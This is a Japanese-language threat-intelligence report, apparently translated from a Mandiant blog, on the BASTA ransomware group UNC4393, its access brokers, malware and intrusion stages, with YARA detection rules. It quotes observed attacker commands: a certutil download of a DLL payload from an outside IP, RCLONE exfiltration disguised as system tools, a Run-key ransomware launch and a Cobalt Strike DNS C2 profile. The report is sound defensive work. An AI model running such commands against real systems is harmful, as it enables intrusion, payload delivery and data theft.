UNC4393 は徐々に SILENTNIGHT へ
Mandiant
※この投稿は米国時間 2024 年 7 月 30 日に、Google Cloud blog に投稿されたものの抄訳です。
概要
2022 年半ば、Mandiant の Managed Defense は QAKBOT が関与する複数の侵入を検出しました。ランサムウェアより前の他の指標と組み合わせると、これが BEACON のデプロイにつながっています。ここから Mandiant は、BASTA ランサムウェアの主要なユーザーである UNC4393 を初めて特定しました。Mandiant は 20 種類の業種にまたがる 40 件以上の UNC4393 の侵入に対応してきました。これまで医療機関は UNC4393 の中心的な標的ではありませんでしたが、今年になって医療業界で侵害がいくつか発生していることから、UNC4393 の関心の対象が拡大している可能性があります。しかし、これはクラスタの被害のごく一部に過ぎません。データ漏洩サイト Black Basta によると、出現以降の被害数は 500 件を超えています。
このブログ投稿では、QAKBOT ボットネットのテイクダウン後を中心に、UNC4393 の活動ライフスパン全体を通して、その戦術とマルウェアの使用状況の変化について詳しく説明します。特に、このクラスタが入手しやすいツールからカスタムのマルウェア開発に移行したことと、アクセス ブローカーへの依存が高まり、初期のアクセス手法が多様化していることに注目します。
図 1: UNC4393 の侵入ライフサイクル
帰責と対象設定
UNC4393 は金銭的な動機に基づく脅威クラスタであり、BASTA ランサムウェアの主要なユーザーです。2022 年半ばから追跡されていますが、BASTA DLS における情報を考慮すると、2022 年前半から活動している可能性があります。このグループは BASTA ランサムウェアをデプロイするために、UNC2633 と UNC2500 の QAKBOT ボットネットの感染を通じて獲得した初期アクセスを大いに利用しています。QAKBOT は通常、悪意のあるリンクや添付ファイルを含むフィッシング メールを介して配布されます。また、LINK ファイルや QAKBOT ペイロードを格納した IMG ファイルを含む ZIP ファイルを配布するために、HTML スマグリングが使用されることもあります。
Mandiant は、BASTA の運営者が非公開または小規模の限定的な招待制による協力関係を維持することで、信頼できる第三者のアクターだけが BASTA 暗号化ツールを使用できるようにしているのではないかと考えています。従来の Ransomware-as-a-Service(RaaS)とは異なり、BASTA は公的な取引がされておらず、運営者はランサムウェアをデプロイするために関係者を積極的に募集しているわけではないようです。その代わり、アンダーグラウンド コミュニティにおける連携や購入を通じて初期アクセスを獲得することに注力しています。ランサムウェアの開発と関連サービス(ランサムウェアの直接配布と引き換えに関係者に提供されるデータ漏洩サイト(DLS)など)に注力する従来の RaaS モデルとは、この点で異なります。UNC4393 は、Mandiant が追跡している中でも、BASTA をデプロイする現在活動中の唯一の脅威クラスタですが、他のごく一部の脅威アクターにも暗号化ツールへのアクセス権が付与されている可能性は否定できません。
BASTA ランサムウェアの被害者数が数百にのぼるという DLS 上の主張は、UNC4393 の迅速な活動ペースを考慮すると信ぴょう性がありそうです。身代金要求までの時間の中央値が約 42 時間であることから、UNC4393 は偵察とデータの引き出しを迅速に実行し、目標達成のためのアクションを完了することに熟練しているのがわかります。
そして対象は 2 つに
2022 年に BASTA ランサムウェアのデプロイが始まったとき、Mandiant は当初、運営者や関係者とともに他の RaaS モデルと同様の関連活動を追跡しました。RaaS モデル内でアクターが異なっている可能性を考慮し、活動を単一のクラスタによるものとすることには慎重を期しました。Mandiant は統合する調査手法により、追跡対象を 2 つの主要なクラスタ(UNC4393 と UNC3973)にまとめました。BASTA 関連の活動の大部分を占めるのは UNC4393 ですが、UNC3973 は独自の属性と戦術、手法、手順(TTP)を示しており、個別に追跡する必要があります。また、BASTA ランサムウェアの運営者が非常に排他的かつ緊密なグループで活動していることがわかります。
確認されたマルウェア
Mandiant は、UNC4393 が以下のマルウェアをデプロイしたことを確認しています。
表 1: UNC4393 がデプロイしたマルウェア
イニシャル アクセス ブローカー
UNC4393 の初期の活動は、フィッシング経由で配信される既存の QAKBOT 感染を利用して初期アクセスを行うものがほとんどでした。2023 年後半、FBI と米国司法省による QAKBOT インフラストラクチャのテイクダウンから数か月後、UNC4393 は再びフィッシング経由で他の配布クラスタ(特に DARKGATE を配信するクラスタ)を初期アクセスのために利用し始めました。この関係は短期間で終わりますが、わずか数か月後には UNC4393 が UNC5155 SILENTNIGHT に続いて侵入に成功したことが確認されています。結果的に、UNC4393 には、複数の配布クラスタと協力して目標を達成する活動を行う意思があることがわかります。
SILENTNIGHT は HTTP / HTTPS を介して通信する、C / C++ で記述されたバックドアであり、C2 のドメイン生成アルゴリズム(DGA)を利用する可能性があります。プラグイン フレームワークにより、システム制御、スクリーンショットのキャプチャ、キーロギング、ファイル管理、暗号通貨ウォレットへのアクセスなど、さまざまな機能を実現しています。また、ブラウザ操作を通じて認証情報も標的にします。
2019 年後半に確認されていた SILENTNIGHT の使用は、小康状態がしばらく続いた後、2021 年半ばに数か月間だけ復活しました。その後は 2023 年後半まで長く休止しています。今年の前半から始まった最近の SILENTNIGHT 活動が急増していますが、それらは主にマルバタイジングを介して配信されています。UNC4393 の初期アクセス手段としてはフィッシングだけが知られていましたが、そこから顕著な変化があったことがわかります。
初期の足場
UNC4393 が標的の環境にアクセスした後の残りの活動は、環境寄生型(LotL)の手法とカスタム マルウェアの組み合わせで構成されます。
足場の確立と維持に関し、一貫して確認された手法としては DNS BEACON が挙げられます。UNC4393 は、以下の一意なドメイン命名規則のバリエーションを再利用することが知られています。
-
h.dns. + C2 ドメイン
-
ridoj4. + <8 文字の文字列> + .dns. + C2 ドメイン
-
jzz. + <8 文字の文字列> + .dns. + C2 ドメイン
-
wnh. + <8 文字の文字列> + .dns. + C2 ドメイン
Cobalt Strike のドキュメントによると、DNS ビーコンとリスナーは Malleable C2 プロファイルを使用してカスタマイズできます。一意の各サブドメインは、呼び出されたときにそれぞれの活動を行うように構成できます。
# DNS subhost override options added in 4.3:
set beacon "doc.bc.";
set get_A "doc.1a.";
set get_AAAA "doc.4a.";
set get_TXT "doc.tx.";
set put_metadata "doc.md.";
set put_output "doc.po.";
set ns_response "zero";
図 2: Cobalt Strike DNS Beacon Malleable C2 の例
UNC4393 は侵入の初期段階で BEACON をデプロイすることが確認されていますが、このグループは多くの場合、活動の全体を通じてペイロードを利用します。
UNC4393 は 2024 年の前半より、DAWNCRY から DAVESHELL ドロッパー、そして最終的に PORTYARD トンネラーに至る多段階の感染チェーンをデプロイしていることが確認されています。
DAWNCRY は、埋め込まれたリソースをメモリに復号する、メモリのみのドロッパーです。以下に示す 3 つのシェルコード部分が含まれています。
-
[First 0x60C bytes]
-
[Bytes 0x60D - 0x19F0]
- メイン ペイロード。今のところトンネラー PORTYARD として確認されています。このトンネラーがシステム上にスレッドを作成して C2 からの受信接続をモニタリングし、スレッド内で最初のレスポンスをチェックして検証します。リレーサーバーとの接続を確立するために、C2 サーバーから次の 2 つのコマンドのうちの 1 つを受け取ることが想定されます。
-
コマンド「1」では、リレーサーバーを IPv4 アドレスとポートの形式で受信します。
-
コマンド「3」では、リレーサーバーを FQDN とポートの形式で受信します。
-
[Bytes 0x1A00 - 0x29F2]
- 文字列「dave」で始まる、シェルコードの 2 つ目の部分。
必要な PORTYARD コマンドのいずれかが存在しない場合、接続が確立したと仮定し、リレーサーバーまたはハードコードされた元の C2 サーバーからのデータのモニタリングを開始して、TCP 経由で両者間のデータをプロキシします。
図 3: DAWNCRY と PORTYARD のデプロイ
内部偵察
UNC4393 は初期アクセスを獲得した後、被害者のネットワークをマッピングし、横移動したり権限を昇格させたりする方法を特定するために、BLOODHOUND、ADFIND、PSNMAP などのオープンソース ツールをよく使用します。UNC4393 は、こうしたツールを C:\Users\Public
フォルダまたは C:\Windows
フォルダの中に頻繁に保存します。また、Mandiant が COGSCAN として追跡しているスキャンツールを UNC4393 が利用していることも確認されています。
COGSCAN は、ネットワーク上のホストを列挙し、システム情報を収集するために使用される .NET 偵察ツールです。サンプルに以下の PDB パスが存在するため、UNC4393 はこのツールを GetOnlineComputers として参照しているものと思われます。
C:\Users\ehgrhr\source\repos\GetOnlineComputers\
GetOnlineComputers\obj\x86\Release\goc.pdb
図 4: COGSCAN PDB パスの例
COGSCAN の個々のサンプルにはユーザー名を除いて非常に類似した PDB パスが含まれていますが、いずれも末尾が goc.pdb
になっています。
COGSCAN は、エンドポイント上に以下の 4 種類のアーティファクトを作成します。
C:\users\public\online.txt
C:\users\public\pc.txt
C:\users\public\pc_sorted.txt
%CD%\ldap.txt
これら 4 つのファイル内で、COGSCAN は以下の情報を収集します。
- エンドポイント情報
-
マシン名
-
IPv4
-
オペレーティング システムとリビジョン
-
最終パッチ適用日時
-
セッション
-
- ドメインおよび LDAP 情報
- エンドポイント機能
- ドメイン コントローラ
- ウェブサーバー
- 複数のレジストリキーのスキャン
HKLM\Software\Microsoft\Windows NT\CurrentVersion\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
ラテラル ムーブメントと永続性
UNC4393 は、主に SMB BEACON と Remote Desktop Protocol(RDP)を利用してラテラル ムーブメントを行います。前述のとおり、BEACON の使用はほぼすべての UNC4393 侵入で普遍的に見られます。このグループは、侵入する過程でマルウェアやその他のツールを拡散したり起動したりするために、Cobalt Strike 内で Windows Management Instrumentation(WMI)機能を介したリモート実行を好んで使用することが明らかになっています。たとえば BASTA 暗号化ツールが、暗号化されるホスト上でステージングされた後、10 分以内に 100 台以上のシステムで WMI を介して一斉に実行されたケースがありました。
さらに Mandiant は、UNC4393 が初期の活動において、一般公開されているさまざまなリモート モニタリングおよび管理(RMM)ソフトウェアを使用して永続性を確立することを好むことを確認しています。具体的には、UNC4393 が ANYDESK、ATERA、SPLASHTOP、SCREENCONNECT、SUPREMO、NETSUPPORT を利用していることを確認しました。一般的に、こうしたツールの保存と起動は C:\ProgramData、C:\Windows\Temp
、または C:\Dell
から行われていました。
しかし 2022 年後半以降、こうしたツールはこのグループが好む TTP から外れているようであることは注目に値します。概ねこの時期に SYSTEMBC トンネラーの使用率が上がり始めていることから、グループの活動の好みが変化したものと思われます。SYSTEMBC PE バイナリが保存される一般的なディレクトリとしては、C:\ProgramData、C:\Windows、C:\Users\Public
が挙げられます。その後、2023 年半ばに TTP が変化して SYSTEMBC の使用は減少したものの、2024 年前半に PORTYARD トンネラーの使用が開始されるまでは置き換わらなかったようです。
UNC4393 がホスト上で永続性を確立しようとしたときに、エンドポイントのウイルス対策によって問題が発生した事例も確認されています。その事例では、ネイティブの Windows コマンドライン ユーティリティである certutil を悪用し、SILENTNIGHT マルウェア ペイロードをダウンロードすることで問題を回避していました。
C:\WINDOWS\system32\certutil.exe -urlcache -split -f
http://179.60.149.235/KineticaSurge.dll
C:\Users\Public\KineticaSurge.dll
図 5: UNC5155 の SILENTNIGHT バイナリをダウンロードする UNC4393 のコマンド
ランサムウェアと恐喝
UNC4393 の目標は、可能な限り多くのデータを迅速に収集し、収集したデータを引き出して多面的な恐喝を行い、データ漏洩の脅威を利用して被害者に身代金の支払いを迫ることです。UNC4393 は、データ窃盗のために RCLONE を利用することがよく確認されています。RCLONE は、ユーザーがさまざまなクラウド ストレージ プラットフォームのファイルを管理できるコマンドライン プログラムです。
UNC4393 は活動をわかりにくくするために、一見すると正当なシステム ユーティリティであるかのように見えるプログラムとして RCLONE バイナリを偽装することがよくあります。
C:\Windows\system32\cmd.exe /C taskenq.exe --config ssd.conf
--max-size 99M --max-age 3y --transfers=99 --no-check-certificate
copy "\\<REDACTED>\<REDACTED>$" <REMOTE SHARE>
C:\Windows\system32\cmd.exe /C tasksend.exe --config cfg.conf
--max-size 99M --max-age 7y --transfers=199 --no-check-certificate
copy "\\<REDACTED>\M$\Users" <REMOTE SHARE>
図 6: RCLONE のデータ引き出しコマンドの例
当初、UNC4393 は暗号化ツールのデプロイに手作業の多いアプローチを採用していました。これには BASTA バイナリを C:\Windows
または C:\Users\Public
から手動で直接起動する方法が含まれます。このグループは、レジストリの実行キーを使用してバイナリを起動することも確認されています。
<HIVE>\Software\Microsoft\Windows\CurrentVersion\Run\Skype -->
C:\Windows\Basta_Ransomware.exe
図 7: BASTA ランサムウェアを実行する Windows レジストリキー
UNC4393 は 2023 年後半、.NET ベースのカスタム ユーティリティである KNOTROCK を利用し始めました。KNOTROCK は、ローカル テキスト ファイルで指定されたネットワーク共有上にシンボリック リンクを作成します。各シンボリック リンクの作成後、KNOTROCK は BASTA ランサムウェアの実行ファイルを実行し、新規作成されたシンボリック リンクへのパスを提供します。そして最終的には 2 つの目標を達成します。つまり、ネットワーク通信機能を提供して既存の BASTA 暗号化ツールを支援し、実行可能なネットワーク パスを事前にマッピングして活動を合理化することで、デプロイにかかる時間を短縮し、暗号化プロセスを迅速化します。KNOTROCK からは UNC4393 の活動が進化したことが伺えます。暗号化プロセスを迅速化することで能力を増強し、さらに大規模な攻撃を可能にするとともに、身代金要求までの時間を大幅に短縮しています。
興味深いことに、このグループは標的を暗号化しようとして完全に諦めたことが 2 回あります。ランサムウェア バイナリの実行が失敗した場合、UNC4393 は身代金要求の試みを事実上停止し、活動を中止することが確認されています。この事実と、UNC4393 がデータ漏洩サイトで謳っている被害者数を合わせて考えると、このグループが同時に手掛けている侵入の数が多いため、うまくいかなかったときは優先順位を他の被害者に移すことになるのはもっともなことです。とはいえ、身代金の要求に失敗したからといって、将来にわたって何も起きないというわけではありません。Mandiant は、UNC4393 が BASTA のデプロイに失敗した数か月後に、以前に侵害した環境を再び標的にしていることを確認しています。
まとめ
UNC4393 はサイバー犯罪の世界で適応力のある多産な脅威アクターであることが明らかになりました。QAKBOT の日和見的な感染からイニシャル アクセス ブローカーとの戦略的連携へと進化したことからは、活動を多様化し、最適化しようという意思が見てとれます。特に、BASTA は Mandiant が追跡している DLS の上位となっているものの、被害者数はここ数か月で着実に減少しています(図 8)。7 月はまだ終わっていませんが、残り 1 週間足らずでこの減少傾向に大きな変化が起きる可能性は低いでしょう。この減少は、信頼性の高い初期アクセスの流れを得にくくなっていることの表れだと考えられます。
当初は入手しやすいツールを使用し、その後カスタムのマルウェアを開発するようになりましたが、効率的なデータの引き出しと多面的な恐喝を重視している点では一貫しています。さらに、手作業によるランサムウェアのデプロイから KNOTROCK の開発に移行したことは、UNC4393 が戦術の改善に取り組んでいることを示しています。これは、その急速な活動テンポと相まって、防御側にとって大きな課題になります。このクラスタが医療機関を避けてグローバルに展開していることからも、計算された金銭的な動機によるアプローチであることは明らかです。
脅威の状況は進化し続けているため、UNC4393 の複雑な活動を理解することが、自衛しようとする組織にとって重要になっています。UNC4393 には適応力やイノベーションの能力、そしてさまざまなツールや手法を活用する能力があることから、事前対応型の堅固なセキュリティ対策が必要であることがわかります。
図 8: 明らかになった BASTA の DLS 掲載数
キャンペーンの追跡
Mandiant は 2022 年以来、UNC4393 の活動に関連する 3 種類のキャンペーンを追跡しています。Google Threat Intelligence のお客様は追加の指標とコンテキストをご利用いただけます。
キャンペーン 22-053
Mandiant は 2022 年 11 月、BASTA ランサムウェアがデプロイされた、UNC4393 による複数の侵入を特定しました。初期のネットワーク アクセスは、QAKBOT を配布した UNC2633 による複数のメールを介して獲得されていました。UNC4393 は UNC2633 からアクセスを獲得した後、Cobalt Strike BEACON と SYSTEMBC トンネラーを含むさまざまなツールをデプロイしています。その後、UNC4393 は Rclone を使用してデータを引き出し、BASTA ランサムウェアをデプロイしました。特に一部のケースでは、UNC4393 は環境へのアクセスを獲得してから数日以内にアクセスを収益化しています。
今回の調査結果は Mandiant の事前の確認結果と一致しています。つまり、現在 BASTA を配布しているアクターと、かつて TRICKBOT や CONTI のエコシステムに関係していた侵入オペレーターの TTP が明らかに重複しているということです。
キャンペーン 23-053
少なくとも 2023 年 9 月上旬以降、UNC4393 は BASTA ランサムウェア活動のために、UNC2500 の DARKGATE の感染を利用して被害者のネットワークへのアクセスを獲得しています。少なくとも 1 つのケースで、UNC4393 は初期の DARKGATE のデプロイから数時間以内にホストをコントロール下に置き、ドメイン ネーム システム(DNS)ベースの Cobalt Strike BEACON ペイロードをデプロイして足場を確立したものと思われます。UNC4393 は PsExec と Windows 管理共有を使用してネットワーク環境を移動し、RCLONE コマンドライン ユーティリティをデプロイしてデータを引き出した後、侵害した Windows サーバーに保存されている BASTA ペイロードを手動で起動しました。これまで UNC4393 は、UNC2500 や UNC2633 などの分散脅威クラスタが獲得したアクセスを利用して BASTA ランサムウェアをデプロイし、データ窃盗による恐喝を行っていました。
キャンペーン 24-018
UNC4393 は 2024 年 2 月下旬からデータ窃盗による恐喝活動を行い、BASTA ランサムウェアをデプロイしていることが確認されています。初期の侵入経路が判明したケースでは、脅威アクターは盗んだ認証情報を使用して、または総当たりの方法により、外部向けのネットワーク アプライアンスやサーバーの認証を行いました。UNC4393 はアクセスを獲得した後、独自のマルウェアと一般公開されているマルウェアの両方を利用して他のコード ファミリーをデプロイし、足場を確立して、ネットワーク偵察を行っています。侵入時は、BEACON、COGSCAN、KNOTWRAP、KNOTROCK、PORTYARD、POWERSPLOIT、POWERVIEW などのマルウェアが使用されました。
その後の他の内部システムへのアクセスやラテラル ムーブメントは、主に Windows 管理共有、RDP、サーバー メッセージ ブロック(SMB)などのリモート サービスを通じて行われています。ランサムウェアのデプロイより前に、脅威アクターが機密データを収集してから、RCLONE を介してそのデータを引き出し、後で恐喝を試みる際に使用したケースもあります。初期アクセスの数日後から数週間後に BASTA のサンプルが初めて出現し、Windows と ESXi のシステムに影響を与えました。UNC4393 の TTP と収益化の方法は以前の活動から比較的一貫していますが、このグループは初期アクセスソースを多様化しているようです。
検出と緩和
このブログ投稿で概要が説明されているアクティビティのハンティングと特定においてコミュニティ全体を支援するため、これらのセキュリティ侵害インジケーター(IOC)のサブセットを、この投稿と公開されている GTI コレクションに含めました。
謝辞
前述のマルウェアについて助言をいただいた Paul Tarter 氏と FLARE チームの皆様に感謝申し上げます。また、UNC4393 について知る手助けをしてくれた Mandiant リサーチチームにも感謝します。
YARA Rules
BASTA
rule M_Ransomware_BASTA_1
{
meta:
author = "Mandiant”
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
md5 = "3f400f30415941348af21d515a2fc6a3"
platforms = "Windows"
malware_family = "BASTA"
strings:
$domain = "aazsbsgya565vlu2c6bzy6yfiebkcbtvvcytvolt
33s77xypi7nypxyd"
$keyiso = "keyiso" nocase wide
$note = "Your company id for log in"
condition:
uint16(0) == 0x5A4D and (all of them)
}
rule M_Ransomware_BASTA_2
{
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
platforms = "Windows"
malware_family = "BASTA"
strings:
$str1 = "ATTENTION!"
$str2 = "https://basta"
$str3 = "network has been breached"
$str5 = "instructions_read_me.txt"
$str6 = "Do not modify, rename or delete files"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) ==
0x00004550 and all of them
}
rule M_Ransomware_BASTA_3
{
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
platforms = "Windows"
malware_family = "BASTA"
strings:
$code1 = {8B 86 [4]2B 46 ?? 40 0F AF 86 [4]89 86 [4]8B
46 ?? 31 04 0F}
$code2 = {8B 0? 0? A1 [4]33 88 [4]8B 80 [4]89 0? 0? }
$code3 = {C1 E? 10 [0-6] 88 ?? 0? 8B ?? FF 4? ?? [5-9] C1
E? 08 [0-9]88 ?? 0? [0-5] FF 4? ?? 8B 4? ?? 8B 8? [4] 88 1C 01}
$decr1 = {F7 74 8E ?? 0F B6 15 [4] 33 C2 A2}
$decr2 = {33 44 0A ?? B9 [4]D1 E1 8B 55 ?? 89 44 0A}
$decr3 = {2B 0D [4]81 F1 [4]33 88 [4]BA [4]6B C2 00 89 88}
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) ==
0x00004550 and (2 of ($code*) or all of ($decr*))
}
KNOTWRAP
rule M_Dropper_KNOTWRAP_1
{
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
md5 = "56c1a45c762a29fe6080788f85e6cfc3"
platforms = "Windows"
malware_family = "KNOTWRAP"
strings:
$hex_asm_snippet_a = { B9 18 01 00 00 2? F8 }
$hex_asm_snippet_b = { 84 C? (7?|E?) [0-4] 32 D? C1 C2 08 }
$hex_asm_snippet_c = { 25 FF 0F 00 00 03 4? 08 03 C? 29 1? }
$hex_asm_snippet_d = { 0F BA F0 1F (7?|E?) [0-4] 03 4? 08 8D
4? 02 5? 5? FF 55 }
condition:
all of them
}
rule M_Dropper_KNOTWRAP_2
{
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
platforms = "Windows"
malware_family = "KNOTWRAP"
strings:
$str1 = "Executable (*.exe)|*.exe|Command (*.com)|*.com|Information
(*.pdf)|*.pdf|Batch (*.bat)|*.bat|All Files (*.*)|*.*||" wide
$str2 = "Default Menu=Default application menu. Appears when
no documents are open." wide
$str3 = "All CommandsMAll your changes will be lost!" wide
$str4 = "Windows sockets initialization failed." wide
$str5 = "TextMining" wide
$str6 = "mailto:stefan-mihai@moga.doctor" wide
$api1 = "[CryptoAPI]" wide
$api2 = "CryptDecrypt:" wide
$api3 = "CryptDeriveKey:" wide
$api4 = "CryptHashData:" wide
$api5 = "CryptCreateHash:" wide
$api6 = "CryptAcquireContext:" wide
$api7 = "CryptEncrypt:"wide
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550
and all of them
}
KNOTROCK
rule M_Utility_KNOTROCK_1
{
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
md5 = "b2af1cd157221f240ce8f8fa88bf6d44"
platforms = "Windows"
malware_family = "KNOTROCK"
strings:
$s1 = "Specify path to shares list in 1st argument.
Specify locker path in 2nd argument" wide fullword
$s2 = "(like C:\\Windows\\locker.exe)" wide fullword
$s3 = "-forcepath" wide fullword
$s4 = "-nomutex" wide fullword
$c1 = "lpSymlinkFileName" fullword
$c2 = "lpTargetFileName" fullword
$c3 = "CreateSymbolicLink" fullword
$marker1 = "$7d7b40c2-b763-4388-ac13-79711209439b"
fullword
$marker2 = "C:\\Users\\cdsf\\source\\repos\\LinkShares\\
LinkShares\\obj\\Release\\LinkShares.pdb" fullword
condition:
(uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)
and ((3 of ($s*) and all of ($c*) ) or any of ($marker*))
}
COGSCAN
rule M_Recon_COGSCAN_1 {
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
family = "COGSCAN"
md5 = "d4fd61c1bb582b77a87259bcd44178d4"
platform = "Windows"
strings:
$str_format = "{0,-20}|{1,-10}|{2,-10}|{3,-20}|{4, -50}|{5, -15}|
{6, -7}|{7, -10}|{8, -10}" wide fullword
$str_param1 = "PcName" wide fullword
$str_param2 = "Ping?" wide fullword
$str_param3 = "135(rpc)" wide fullword
$str_param4 = "OsName" wide fullword
$str_param5 = "LastKb" wide fullword
$str_param6 ="Site" wide fullword
$str_func1 = "CheckForZLAndWC" fullword
$str_func2 = "GetTypeFromProgID" fullword
$str_func3 = "CheckForPN" fullword
$str_func4 = "TryGetOsName" fullword
$str_func5 = "TryPrepare" fullword
$str_func6 = "CustomLDAP" fullword
$file1 = "ldap.txt" wide fullword
$file2 = "c:\\users\\public\\pc.txt" wide fullword nocase
$file3 = "c:\\users\\public\\online.txt" wide fullword nocase
$file4 = "_sorted.txt" wide fullword
$file5 = "Take your file: online.txt" wide fullword
$file6 = "Take sorted file: sorted.txt" wide fullword
$arg1 = "-customldap" wide fullword
$arg2 = "-pingtimeout" wide fullword
$arg3 = "-offlineresolve" wide fullword
$arg4 = "-autoruninfo" wide fullword
$arg5 = "-detectsites" wide fullword
$arg6 = "-bypassping" wide fullword
$arg7 = "-fromfile" wide fullword
$arg8 = "-printcountonly" wide fullword
$marker1 = "---UNKNOWN---" wide fullword
$marker2 = "---DC---" wide fullword
$marker3 = "---SERVERS---" wide fullword
$marker4 = "---USER PC---" wide fullword
condition:
(uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550)
and (4 of ($str*) and 2 of ($file*) and 3 of ($arg*) and 1 of ($marker*))
}
PORTYARD
rule M_Tunneler_PORTYARD_1 {
meta:
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
family = "portyard"
md5 = "25dd591a343e351fd72b6278ebf8197e"
platform = "Windows"
strings:
$tunnel_commands_validate = {41 B? 04 00 00 00 [0-16]
41 B9 08 00 00 00 [0-24] FF 15 [4-64] 0F B6 45 ?? 3C 01}
$intial_connection_validate = {41 B? A0 1F 00 00 [0-32] ff
15 [4-64] 48 0F ?? ?? 01 [0-32] 48 85 C? [0-64] 40 38 ?? ?? 02 [0-8]
48 FF C? 48 3B C? [2-64] C7 45 ?? 05 00 [1-16] FF 15}
condition:
all of them
}
DAWNCRY
rule M_Dropper_DAWNCRY_1 {
meta:
author = "Mandiant"
description = "This rule is for hunting purposes only
and has not been tested to run in a production environment."
family = "DAWNCRY"
md5 = "a9447a25ab79eed2942997daced4eb3e"
platform = "Windows"
strings:
$stackstring_xor_key = {C6 85 [4] 65 C6 85 [4] 69 C6 85
[4] 55 C6 85 [4] 56 C6 85 [4] 79 C6 85 [4] 72 C6 85 [4] 79 C6 85
[4] 67 C6 85 [4] 6C C6 85 [4] 3E C6 85 [4] 58 C6 85 [4] 45 C6 85
[4] 2A C6 85 [4] 5E C6 85 [4] 71 C6 85 [4] 78 C6 85 [4] 45 C6 85
[4] 59 C6 85 [4] 69 C6 85 [4] 49 C6 85 [4] 56 C6 85 [4] 56 C6 85
[4] 61 C6 85 [4] 38 C6 85 [4] 34 C6 85 [4] 4C C6 85 [4] 00}
$part_of_xor_decrypt = {48 01 ?? 0F B6 84 [5] 44 31 C8 41
88 ?? 48 83 85 [4] 01 48 8B [5] 48 39 [5] 0F 82 }
$peb_ldr_data = {48 31 C0 65 48 8B 04 25 60 00 00 00 48
8B 40 18 48 8B 40 20 48 8B 00 48 8B 40 20 C3}
$hardcoded_ntAllocateVirtualMemory_hash = {BA E2 A5
92 6D 48 89 C1 E8}
condition:
(uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550)
and 3 of them
}
-Mandiant、執筆者: Josh Murchie、Ashley Pearson、Joseph Pisano、Jake Nicastro、Joshua Shilko、Raymond Leong